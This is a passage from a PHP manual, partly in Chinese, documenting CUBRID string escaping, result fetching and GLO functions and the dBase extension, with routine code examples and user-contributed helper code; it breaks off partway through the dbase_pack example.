This function returns the escaped string version of the given string. It will escape the following characters: '. In general, single quotations are used to enclose character string. Double quotations may be used as well depending on the value of ansi_quotes, which is a parameter related to SQL statement. If the ansi_quotes value is set to no, character string enclosed by double quotations is handled as character string, not as an identifier. The default value is yes. If you want to include a single quote as part of a character string, enter two single quotes in a row.

参数

unescaped_string

The string that is to be escaped.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返回值

Escaped string version of the given string, on success.

false on failure.

示例

Example #1 cubrid_real_escape_string() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$unescaped_str = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
$escaped_str = cubrid_real_escape_string($unescaped_str);

$len = strlen($unescaped_str);

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (t char($len))");
cubrid_execute($conn, "INSERT INTO cubrid_test (t) VALUES('$escaped_str')");

$req = cubrid_execute($conn, "SELECT * FROM cubrid_test");
$row = cubrid_fetch_assoc($req);

var_dump($row);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

array(1) {
  ["t"]=>
  string(95) " !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
}

User Contributed Notes

There are no user contributed notes for this page.


Return the value of a specific field in a specific row

  • ? cubrid_real_escape_string
  • cubrid_unbuffered_query ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Return the value of a specific field in a specific row

cubrid_result

(PECL CUBRID >= 8.3.0)

cubrid_result — Return the value of a specific field in a specific row

说明

cubrid_result(resource $result, int $row, mixed $field = 0): string

This function returns the value of a specific field in a specific row from a result set.

参数

result

result comes from a call to cubrid_execute()

row

The row number from the result that is being retrieved. Row numbers start at 0.

field

The name or offset of the field being retrieved. It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved.

返回值

Value of a specific field, on success (NULL if value if null).

false on failure.

示例

Example #1 cubrid_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$result = cubrid_result($req, 0);
var_dump($result);

$result = cubrid_result($req, 0, 1);
var_dump($result);

$result = cubrid_result($req, 5, "f_name");
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

string(1) "X"
string(5) "Mixed"
string(4) "Gold"

User Contributed Notes

There are no user contributed notes for this page.


Perform a query without fetching the results into memory

  • ? cubrid_result
  • CUBRID 过时的别名和函数 ?
  • PHP Manual
  • CUBRID MySQL 兼容性函数
  • Perform a query without fetching the results into memory

cubrid_unbuffered_query

(PECL CUBRID >= 8.3.0)

cubrid_unbuffered_query — Perform a query without fetching the results into memory

说明

cubrid_unbuffered_query(string $query, resource $conn_identifier = ?): resource

This function performs a query without waiting for that all query results have been complete. It will return when the results are being generated.

参数

query

A SQL query.

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last connection opened by cubrid_connect() is assumed.

返回值

For SELECT, SHOW, DESCRIBE or EXPLAIN statements returns a request identifier resource on success.

For other type of SQL statements, UPDATE, DELETE, DROP, etc, returns true on success.

false on failure.

示例

Example #1 cubrid_unbuffered_query() example

<?php
$link = cubrid_connect("localhost", 30000, "demodb", "dba", "");
if (!$link)
{
die('Could not connect.');
}
$query = "select * from code";
$result = cubrid_unbuffered_query($query, $link);

while ($row = cubrid_fetch($result))
{
var_dump($row);
}

cubrid_close_request($result);
cubrid_disconnect($link);
?>

注释

Note:

The benefits of cubrid_unbuffered_query() come at a cost: you cannot use cubrid_num_rows() and cubrid_data_seek() on a result set returned from cubrid_unbuffered_query().

User Contributed Notes

There are no user contributed notes for this page.


CUBRID 过时的别名和函数

Table of Contents

  • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
  • cubrid_new_glo — Create a glo instance
  • cubrid_save_to_glo — Save requested file in a GLO instance
  • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Read data from a GLO instance and save it in a file

  • ? CUBRID 过时的别名和函数
  • cubrid_new_glo ?
  • PHP Manual
  • CUBRID 过时的别名和函数
  • Read data from a GLO instance and save it in a file

cubrid_load_from_glo

(PECL CUBRID >= 8.3.0)

cubrid_load_from_glo — Read data from a GLO instance and save it in a file

说明

cubrid_load_from_glo(resource $conn_identifier, string $oid, string $file_name): int

The cubrid_load_from_glo() function is used to read a data from a glo instance, and saves it in a designated file.

参数

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read the data from.

file_name

Name of the file where you want to save the data in.

返回值

true, when process is successful.

false, when process is unsuccessful.

示例

Example #1 cubrid_load_from_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
list ($oid) = cubrid_fetch($req);
cubrid_close_request($req);
$res = cubrid_load_from_glo ($con, $oid, "output.jpg");
if ($res) {
echo "image changed successfully";
}
}
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： cubrid_load_from_glo()

Note:

This function is removed from CUBRID 3.1.

参见

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Create a glo instance

  • ? cubrid_load_from_glo
  • cubrid_save_to_glo ?
  • PHP Manual
  • CUBRID 过时的别名和函数
  • Create a glo instance

cubrid_new_glo

(PECL CUBRID >= 8.3.0)

cubrid_new_glo — Create a glo instance

说明

cubrid_new_glo(resource $conn_identifier, string $class_name, string $file_name): string

The cubrid_new_glo() function is used to create a glo instance in the requested class (glo class). The glo created is a LO type, and is stored in the file_name file.

参数

conn_identifier

Connection identifier.

class_name

Name of the class that you want to create a glo in.

file_name

The file name that you want to save in the newly created glo.

返回值

Oid of the instance created, when process is successful.

false, when process is unsuccessful.

示例

Example #1 cubrid_new_glo() example

<?php
$oid = cubrid_new_glo ($con, "glo", "input.jpg");
if ($oid){
// the type of column "image" is "object"
$req = cubrid_execute ($con, "insert into person(image) values($oid)");
if ($req) {
echo "image inserted successfully";
cubrid_close_request ($req);
cubrid_commit($con);
}
}
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： cubrid_new_glo()

Note:

This function is removed from CUBRID 3.1.

参见

  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Save requested file in a GLO instance

  • ? cubrid_new_glo
  • cubrid_send_glo ?
  • PHP Manual
  • CUBRID 过时的别名和函数
  • Save requested file in a GLO instance

cubrid_save_to_glo

(PECL CUBRID >= 8.3.0)

cubrid_save_to_glo — Save requested file in a GLO instance

说明

cubrid_save_to_glo(resource $conn_identifier, string $oid, string $file_name): int

The cubrid_save_to_glo() function is used to save requested file in a glo instance.

参数

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to save a file in.

file_name

The name of the file that you want to save.

返回值

true, when process is successful.

false, when process is unsuccessful.

示例

Example #1 cubrid_save_to_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
list ($oid) = cubrid_fetch($req);
cubrid_close_request($req);
$res = cubrid_save_to_glo ($con, $oid, "input.jpg");
if ($res) {
echo "image changed successfully";
}
}
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： cubrid_save_to_glo()

Note:

This function is removed from CUBRID 3.1.

参见

  • cubrid_new_glo() - Create a glo instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file
  • cubrid_send_glo() - Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.


Read data from glo and send it to std output

  • ? cubrid_save_to_glo
  • dBase ?
  • PHP Manual
  • CUBRID 过时的别名和函数
  • Read data from glo and send it to std output

cubrid_send_glo

(PECL CUBRID >= 8.3.0)

cubrid_send_glo — Read data from glo and send it to std output

说明

cubrid_send_glo(resource $conn_identifier, string $oid): int

The cubrid_send_glo() function is used to read data from glo instance and sends it to the PHP standard output.

参数

conn_identifier

Connection identifier.

oid

Oid of the glo instance that you want to read data from.

返回值

true, when process is successful.

false, when process is unsuccessful.

示例

Example #1 cubrid_send_glo() example

<?php
$req = cubrid_execute ($con, "select image from person where id =1");
if ($req) {
list ($oid) = cubrid_fetch($req);
cubrid_close_request($req);
Header ("Content-type: image/jpeg");
cubrid_send_glo ($con, $oid);
}
?>

注释

Note:

为了向下兼容，可以使用下列已废弃的别名： cubrid_send_glo()

Note:

This function is removed from CUBRID 3.1.

参见

  • cubrid_new_glo() - Create a glo instance
  • cubrid_save_to_glo() - Save requested file in a GLO instance
  • cubrid_load_from_glo() - Read data from a GLO instance and save it in a file

User Contributed Notes

There are no user contributed notes for this page.


dBase

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • dBase 函数
    • dbase_add_record — Adds a record to a database
    • dbase_close — Closes a database
    • dbase_create — Creates a database
    • dbase_delete_record — Deletes a record from a database
    • dbase_get_header_info — Gets the header info of a database
    • dbase_get_record_with_names — Gets a record from a database as an associative array
    • dbase_get_record — Gets a record from a database as an indexed array
    • dbase_numfields — Gets the number of fields of a database
    • dbase_numrecords — Gets the number of records in a database
    • dbase_open — Opens a database
    • dbase_pack — Packs a database
    • dbase_replace_record — Replaces a record in a database

User Contributed Notes

Anonymous 31-Jul-2009 09:51
Unfortunately the dbase functions are not compiled into my commercial server's php and I needed to read some geo data in shape files, which include data in dbfs.

So maybe this will help some others:

<?php
function echo_dbf($dbfname) {
    $fdbf = fopen($dbfname,'r');
    $fields = array();
    $buf = fread($fdbf,32);
    $header=unpack( "VRecordCount/vFirstRecord/vRecordLength", substr($buf,4,8));
    echo 'Header: '.json_encode($header).'<br/>';
    $goon = true;
    $unpackString='';
    while ($goon && !feof($fdbf)) { // read fields:
        $buf = fread($fdbf,32);
        if (substr($buf,0,1)==chr(13)) {$goon=false;} // end of field list
        else {
            $field=unpack( "a11fieldname/A1fieldtype/Voffset/Cfieldlen/Cfielddec", substr($buf,0,18));
            echo 'Field: '.json_encode($field).'<br/>';
            $unpackString.="A$field[fieldlen]$field[fieldname]/";
            array_push($fields, $field);}}
    fseek($fdbf, $header['FirstRecord']+1); // move back to the start of the first record (after the field definitions)
    for ($i=1; $i<=$header['RecordCount']; $i++) {
        $buf = fread($fdbf,$header['RecordLength']);
        $record=unpack($unpackString,$buf);
        echo 'record: '.json_encode($record).'<br/>';
        echo $i.$buf.'<br/>';} //raw record
    fclose($fdbf); }
?>

This function simply dumps an entire file using echo and json_encode, so you can tweak it to your own needs... (eg random access would just be a matter of changing the seek to : fseek($fdbf, $header['FirstRecord']+1 +($header['RecordLength']* $desiredrecord0based); removing the for loop and returning $record

This function doesn't do any type conversion, but it does extract the type if you need to play with dates, or tidy up the numbers etc.

So quick and dirty but maybe of use to somebody and illustrates the power of unpack.

Erich


简介

Note:

此扩展已被移至 » PECL 资源库；不再与 PHP 捆绑，从 PHP 5.3.0.

These functions allow you to access records stored in dBase-format (dbf) databases.

Warning

We recommend against using dBase files as your production database. Use » SQLite or choose any real SQL server instead; » MySQL or » Postgres are common choices with PHP. dBase support is here to allow you to import and export data to and from your web database, because the file format is commonly understood by Windows spreadsheets and organizers.

Caution

As of dbase 7.0.0 the databases are automatically locked via flock(). There has been no support for locking earlier, so two concurrent web server processes modifying the same dBase file would have very likely ruined your database. This can happen even with dbase 7.0.0+ on systems which implement the locks at the process level with multithreaded SAPIs.

dBase files are simple sequential files of fixed length records. Records are appended to the end of the file and deleted records are kept until you call dbase_pack().

Only dbf file levels 3 (dBASE III+) - 5 (dBASE V) are supported. The types of dBase fields available are:

Available types of fields
Field | dBase Type | Format | Additional information
M | Memo | n/a | This type is not supported by PHP, such field will be ignored
D | Date | YYYYMMDD | The field length is limited to 8
T | DateTime | YYYYMMDDhhmmss.uuu | (FoxPro) No validity checks are done. Available as of dbase 7.0.0.
N | Number | A number | You must declare a length and a precision (the number of digits after the decimal point).
F | Float | A float number | Same as N.
C | String | A string | You must declare a length. When retrieving data, the string will be right-padded with spaces to fit the declared length. Overlong strings will be silently truncated when storing data.
L | Boolean | T or Y for true, F or N for false, ? for uninitialized. | As of dbase 7.0.0, returned as a bool (true or false), or null for uninitialized fields. Formerly, returned as an int (1 or 0).

Note:

As of dbase 7.0.0 nullable fields are supported for DBASE_TYPE_FOXPRO databases. If a field is nullable, passing null will set the respective flag, and on later retrieval the field value will be null.

Note:

There is no support for indexes or memo fields.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/dbase.

User Contributed Notes

homer8173 at gmail dot com 09-Jan-2020 10:00
it may be installed easily with :

sudo pecl install dbase


资源类型

As of dbase 7.0.0, the resource type dbase is defined, which is returned by dbase_open() and dbase_create().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

DBASE_VERSION (string)
The extension version. (Available as of dbase 7.0.0)
DBASE_RDONLY (int)
Open database for reading only. Used with dbase_open(). (Available as of dbase 7.0.0)
DBASE_RDWR (int)
Open database for reading and writing. Used with dbase_open(). (Available as of dbase 7.0.0)
DBASE_TYPE_DBASE (int)
Create dBASE style database. Used with dbase_create(). (Available as of dbase 7.0.0)
DBASE_TYPE_FOXPRO (int)
Create FoxPro style database. Used with dbase_create(). (Available as of dbase 7.0.0)

User Contributed Notes

There are no user contributed notes for this page.


dBase 函数

示例

Many examples in this reference require a dBase database. We will use /tmp/test.dbf that will be created in the example of dbase_create().

Table of Contents

  • dbase_add_record — Adds a record to a database
  • dbase_close — Closes a database
  • dbase_create — Creates a database
  • dbase_delete_record — Deletes a record from a database
  • dbase_get_header_info — Gets the header info of a database
  • dbase_get_record_with_names — Gets a record from a database as an associative array
  • dbase_get_record — Gets a record from a database as an indexed array
  • dbase_numfields — Gets the number of fields of a database
  • dbase_numrecords — Gets the number of records in a database
  • dbase_open — Opens a database
  • dbase_pack — Packs a database
  • dbase_replace_record — Replaces a record in a database

User Contributed Notes

bi.idan [at] gmail.com 12-Feb-2009 07:16
some of you contacted me about memo fields and my script, so i'll just post my answers on the common question here.

(note: this is not an adv for any program, only what i used for myself, and it's free)

so, there are 2 options if you want to create/read memo fields:

1. use a library for java/c++/c# to build a bridge between php and dbf file. i've used dbf2java. althougth it's not near complete as my other option, it's a good start. (http://code.google.com/p/dbf2java-library/)

2. use an external program with pipes to grab the output. i used cdbflite, (http://www.whitetown.com/cdbflite/). it's free, and pretty much gives you everything you need to handle those dbf files. i'm not sure about big databases and it seems you need to register/buy it, but it's again, a start.

hope it helps some of you who needs to handle those database files,

Good luck,
idan
bi.idan AT gmail.com 16-Apr-2007 04:40
I know lots of you dosent really use dbase, but i've builded a class to help the one how dose.
(sorry for bad english)

- dbase.php

<?php

set_time_limit (0);
// site_path defined by parent
require_once (SITE_PATH. '/server/php/libs/dbase/handler.php');

/* DBase (dbf)
 *    manage dbf files, exports and search functionality
 *    with buildin optimizers for fast performance
 */

class DBase
{
    private $handler = false;
    private $searchopt = array (); // Search optimizer

    private function unload ()
    {
        if ($this-> handler !== false)
            unset ($this-> handler);
    }

    public function __construct ($file = false)
    {
        if ($file !== false)
            $this-> load ($file);
    }

    public function __destruct ()
    {
        $this-> unload ();
    }

    public function load ($file)
    {
        $resource = dbase_open ($file, 0);
        $this-> handler = new DBase_Handler ($resource);

        return $this-> handler;
    }

    /* Search
     *    search for string inside header
     *    returns record number
     *        false returned if not found or error occurred
     *    limit_results gets int or false, limit_results equels one will limit the
     *        search results for one result only, false for no limit
     */
    public function search ($headerText, $string, $limit_results = false, $handler = false)
    {
        if ($handler === false)
            $handler = $this-> handler;

        if ($this-> searchopt [$headerText][$string])
            return $this-> searchopt [$headerText][$string];
        else
        {
            $size = $handler-> getSize ();
            if ( ( $headerNumber = $handler-> getHeaderNumber ($headerText) ) !== false)
            {
                $results = array ();
                for ($i = 1; $i < $size; $i++)
                {
                    $record = $handler-> getRecord ($i, false); // Disabled optimizer to prevent memory overflow
                    if (trim ($record [$headerNumber]) == $string)
                    {
                        $results[] = $i;

                        if ( ($limit_results !== false) && (sizeof ($results) == $limit_results) )
                            break;
                    }
                }

                if (sizeof ($results) > 0)
                {
                    $this-> searchopt [$headerText][$string] = $results;
                    return $this-> search ($headerText, $string, $handler);
                }

                return false;
            } else
                return false;
        }
    }
}

?>

- dbase_handler.php

<?php

/* DBase Handler (dbf)
 *    handles dbase resource
 */

class DBase_Handler
{
    private $resource;
    private $size; // Records Count
    private $header = array ();
    private $dataopt = array (); // Data optimizer

    private function setHeader ()
    {
        $this-> header = dbase_get_header_info ($this-> resource);
    }

    public function __construct ($resource)
    {
        $this-> resource = $resource;
        $this-> setHeader ();
        $this-> size = dbase_numrecords ($this-> resource);
    }

    public function __destruct ()
    {
        dbase_close ($this-> resource);
    }

    public function getRecord ($record_number, $dataopt = true)
    {
        if ($record_number > $this-> size)
            return false;
        else
        {
            if ($this-> dataopt [$record_number])
                return $this-> dataopt [$record_number];
            else
            {
                $record = dbase_get_record ($this-> resource, $record_number);
                if ($dataopt === true) // Data saving optimizer
                {
                    $this-> dataopt [$record_number] = $record;
                    return $this-> getRecord ($record_number);
                } else
                    return $record;
            }
        }
    }

    public function getHeaderNumber ($headerText)
    {
        foreach ($this-> header as $index => $header)
        {
            if ($header ['name'] == $headerText)
            {
                return $index;
                break;
            }
        }

        return false;
    }

    public function getHeader ($headerNumber)
    {
        if ($headerNumber <= sizeof ($this-> header))
            return $this-> header [$headerNumber];
        else
            return false;
    }

    public function getSize ()
    {
        return $this-> size;
    }
}

?>


Adds a record to a database

  • ? dBase 函数
  • dbase_close ?
  • PHP Manual
  • dBase 函数
  • Adds a record to a database

dbase_add_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_add_record — Adds a record to a database

说明

dbase_add_record(resource $database, array $data): bool

Adds the given data to the database.

参数

database

The database resource, returned by dbase_open() or dbase_create().

data

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_add_record() will fail.

Note:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 Inserting a record in a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
dbase_add_record($db, array(
date('Ymd'),
'Maxim Topolov',
'23',
'max@example.com',
'T'));
dbase_close($db);
}

?>

参见

  • dbase_delete_record() - Deletes a record from a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

There are no user contributed notes for this page.


Closes a database

  • ? dbase_add_record
  • dbase_create ?
  • PHP Manual
  • dBase 函数
  • Closes a database

dbase_close

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_close — Closes a database

说明

dbase_close(resource $database): bool

Closes the given database resource.

参数

database

The database resource, returned by dbase_open() or dbase_create().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 Closing a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
// read some data ..

dbase_close($db);
}

?>

参见

  • dbase_open() - Opens a database
  • dbase_create() - Creates a database

User Contributed Notes

There are no user contributed notes for this page.


Creates a database

  • ? dbase_close
  • dbase_delete_record ?
  • PHP Manual
  • dBase 函数
  • Creates a database

dbase_create

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_create — Creates a database

说明

dbase_create(string $path, array $fields, int $type = DBASE_TYPE_DBASE): resource

dbase_create() creates a dBase database with the given definition. If the file already exists, it is not truncated. dbase_pack() can be called to force truncation.

Note:

此函数受 open_basedir 影响。

参数

path

The path of the database. It can be a relative or absolute path to the file where dBase will store your data.

fields

An array of arrays, each array describing the format of one field of the database. Each field consists of a name, a character indicating the field type, and optionally, a length, a precision and a nullable flag. The supported field types are listed in the introduction section.

Note:

The fieldnames are limited in length and must not exceed 10 chars.

type

The type of database to be created. Either DBASE_TYPE_DBASE or DBASE_TYPE_FOXPRO.

返回值

Returns a database resource if the database is successfully created, or false if an error occurred.

更新日志

版本 | 说明
dbase 7.0.0 | The type parameter has been added.
dbase 7.0.0 | The return value is now a resource instead of an int.

示例

Example #1 Creating a dBase database file

<?php

// database "definition"
$def = array(
array("date", "D"),
array("name", "C", 50),
array("age", "N", 3, 0),
array("email", "C", 128),
array("ismember", "L")
);

// creation
if (!dbase_create('/tmp/test.dbf', $def)) {
echo "Error, can't create the database\n";
}

?>

参见

  • dbase_open() - Opens a database
  • dbase_close() - Closes a database

User Contributed Notes

denvolin 20-Feb-2018 11:41
There is no third param in this function.
According to latest pecl package "dbase-pecl-php7", there are only 2 params.


Deletes a record from a database

  • ? dbase_create
  • dbase_get_header_info ?
  • PHP Manual
  • dBase 函数
  • Deletes a record from a database

dbase_delete_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_delete_record — Deletes a record from a database

说明

dbase_delete_record(resource $database, int $number): bool

Marks the given record to be deleted from the database.

Note:

To actually remove the record from the database, you must also call dbase_pack().

参数

database

The database resource, returned by dbase_open() or dbase_create().

number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

参见

  • dbase_add_record() - Adds a record to a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

There are no user contributed notes for this page.


Gets the header info of a database

  • ? dbase_delete_record
  • dbase_get_record_with_names ?
  • PHP Manual
  • dBase 函数
  • Gets the header info of a database

dbase_get_header_info

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_header_info — Gets the header info of a database

说明

dbase_get_header_info(resource $database): array

Returns information on the column structure of the given database resource.

参数

database

The database resource, returned by dbase_open() or dbase_create().

返回值

An indexed array with an entry for each column in the database. The array index starts at 0.

Each array element contains an associative array of column information, as described here:

name
The name of the column
type
The human-readable name for the dbase type of the column (i.e. date, boolean, etc.) The supported field types are listed in the introduction section.
length
The number of bytes this column can hold
precision
The number of digits of decimal precision for the column
format
A suggested printf() format specifier for the column
offset
The byte offset of the column from the start of the row

If the database header information cannot be read, false is returned.

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 Showing header information for a dBase database file

<?php
// Path to dbase file
$db_path = "/tmp/test.dbf";

// Open dbase file
$dbh = dbase_open($db_path, 0)
or die("Error! Could not open dbase database file '$db_path'.");

// Get column information
$column_info = dbase_get_header_info($dbh);

// Display information
print_r($column_info);
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets a record from a database as an associative array

  • ? dbase_get_header_info
  • dbase_get_record ?
  • PHP Manual
  • dBase 函数
  • Gets a record from a database as an associative array

dbase_get_record_with_names

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_record_with_names — Gets a record from a database as an associative array

说明

dbase_get_record_with_names(resource $database, int $number): array

Gets a record from a dBase database as an associative array.

参数

database

The database resource, returned by dbase_open() or dbase_create().

number

The index of the record between 1 and dbase_numrecords($dbase_identifier).

返回值

An associative array with the record. This will also include a key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()). Therefore it is not possible to retrieve the value of a field named deleted with this function.

每个字段都会被转换为对应的 PHP 类型，除了以下场景：

  • 日期会被转换成字符串。
  • DateTime 会被转换成字符串。
  • 范围之外的整数 PHP_INT_MIN..PHP_INT_MAX 将返回字符串。
  • dbase 7.0.0 之前的版本， 布尔型 (L) 将被转换为 1 或 0。

On error, dbase_get_record_with_names() will return false.

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 Listing all the registered members in the database

<?php
// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
$record_numbers = dbase_numrecords($db);
for ($i = 1; $i <= $record_numbers; $i++) {
$row = dbase_get_record_with_names($db, $i);
if ($row['ismember'] == 1) {
echo "Member #$i: " . trim($row['name']) . "\n";
}
}
}
?>

参见

  • dbase_get_record() - Gets a record from a database as an indexed array

User Contributed Notes

There are no user contributed notes for this page.


Gets a record from a database as an indexed array

  • ? dbase_get_record_with_names
  • dbase_numfields ?
  • PHP Manual
  • dBase 函数
  • Gets a record from a database as an indexed array

dbase_get_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_record — Gets a record from a database as an indexed array

说明

dbase_get_record(resource $database, int $number): array

Gets a record from a database as an indexed array.

参数

database

The database resource, returned by dbase_open() or dbase_create().

number

The index of the record between 1 and dbase_numrecords($dbase_identifier).

返回值

An indexed array with the record. This array will also include an associative key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

每个字段都会被转换为对应的 PHP 类型，除了以下场景：

  • 日期会被转换成字符串。
  • DateTime 会被转换成字符串。
  • 范围之外的整数 PHP_INT_MIN..PHP_INT_MAX 将返回字符串。
  • dbase 7.0.0 之前的版本， 布尔型 (L) 将被转换为 1 或 0。

On error, dbase_get_record() will return false.

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

参见

  • dbase_get_record_with_names() - Gets a record from a database as an associative array

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of fields of a database

  • ? dbase_get_record
  • dbase_numrecords ?
  • PHP Manual
  • dBase 函数
  • Gets the number of fields of a database

dbase_numfields

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_numfields — Gets the number of fields of a database

说明

dbase_numfields(resource $database): int

Gets the number of fields (columns) in the specified database.

Note:

Field numbers are between 0 and dbase_numfields($db)-1, while record numbers are between 1 and dbase_numrecords($db).

参数

database

The database resource, returned by dbase_open() or dbase_create().

返回值

The number of fields in the database, or false if an error occurs.

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 dbase_numfields() Example

<?php

$rec = dbase_get_record($db, $recno);
$nf = dbase_numfields($db);
for ($i = 0; $i < $nf; $i++) {
echo $rec[$i], "\n";
}

?>

参见

  • dbase_numrecords() - Gets the number of records in a database

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of records in a database

  • ? dbase_numfields
  • dbase_open ?
  • PHP Manual
  • dBase 函数
  • Gets the number of records in a database

dbase_numrecords

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_numrecords — Gets the number of records in a database

说明

dbase_numrecords(resource $database): int

Gets the number of records (rows) in the specified database.

Note:

Records which are marked as deleted are counted as well.

Note:

Record numbers are between 1 and dbase_numrecords($db), while field numbers are between 0 and dbase_numfields($db)-1.

参数

database

The database resource, returned by dbase_open() or dbase_create().

返回值

The number of records in the database, or false if an error occurs.

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 Looping over all the records of the database

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
$record_numbers = dbase_numrecords($db);
for ($i = 1; $i <= $record_numbers; $i++) {
$record = dbase_get_record($db, $i);
if (!$record['deleted']) {
// do something with the $record
} else {
// do something with the deleted $record or ignore it
}
}
}

?>

参见

  • dbase_numfields() - Gets the number of fields of a database

User Contributed Notes

There are no user contributed notes for this page.


Opens a database

  • ? dbase_numrecords
  • dbase_pack ?
  • PHP Manual
  • dBase 函数
  • Opens a database

dbase_open

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_open — Opens a database

说明

dbase_open(string $path, int $mode): resource|false

dbase_open() opens a dBase database with the given access mode.

Note:

此函数受 open_basedir 影响。

参数

path

The path of the database. It can be a relative or absolute path to the file where dBase will store your data.

mode

An integer which correspond to those for the open() system call (Typically 0 means read-only, 1 means write-only, and 2 means read and write).

Note:

You can't open a dBase file in write-only mode as the function will fail to read the headers information and thus you can't use 1 as mode.

As of dbase 7.0.0 you can use DBASE_RDONLY and DBASE_RDWR, respectively, to specify the mode.

返回值

Returns a database resource on success, 或者在失败时返回 false.

更新日志

版本 | 说明
dbase 7.0.0 | The return value is now a resource instead of an int.

示例

Example #1 Opening a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
// read some data ..

dbase_close($db);
}

?>

参见

  • dbase_create() - Creates a database
  • dbase_close() - Closes a database

User Contributed Notes

jmertic at ncscredit dot com 16-Oct-2001 04:57
If you are wanting to open Foxpro tables using this, make sure they are in the 2.x format or php will not respond. In VFP use the following:

COPY TO tablename.dbf TYPE FOX2X

This is an easy way to bring database info to the web if you have a small foxpro setup.


Packs a database

  • ? dbase_open
  • dbase_replace_record ?
  • PHP Manual
  • dBase 函数
  • Packs a database

dbase_pack

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_pack — Packs a database

说明

dbase_pack(resource $database): bool

Packs the specified database by permanently deleting all records marked for deletion using dbase_delete_record(). Note that the file will be truncated after successful packing (contrary to dBASE III's PACK command).

参数

database

The database resource, returned by dbase_open() or dbase_create().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 Emptying a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
$record_numbers = dbase_numrecords($db);
